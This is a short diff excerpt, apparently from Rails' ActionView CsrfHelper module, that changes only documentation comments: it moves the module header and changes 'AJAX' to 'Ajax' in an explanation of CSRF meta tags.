  module ActionView
4
- # = Action View CSRF Helper
5
4
  module Helpers # :nodoc:
5
+ # = Action View CSRF \Helpers
6
6
  module CsrfHelper
7
7
  # Returns meta tags "csrf-param" and "csrf-token" with the name of the cross-site
8
8
  # request forgery protection parameter and token, respectively.
@@ -16,7 +16,7 @@ module ActionView
16
16
  #
17
17
  # You don't need to use these tags for regular forms as they generate their own hidden fields.
18
18
  #
19
- # For AJAX requests other than GETs, extract the "csrf-token" from the meta-tag and send as the
19
+ # For Ajax requests other than GETs, extract the "csrf-token" from the meta-tag and send as the
20
20
  # +X-CSRF-Token+ HTTP header. If you are using rails-ujs, this happens automatically.
21
21
  #
22
22
  def csrf_meta_tags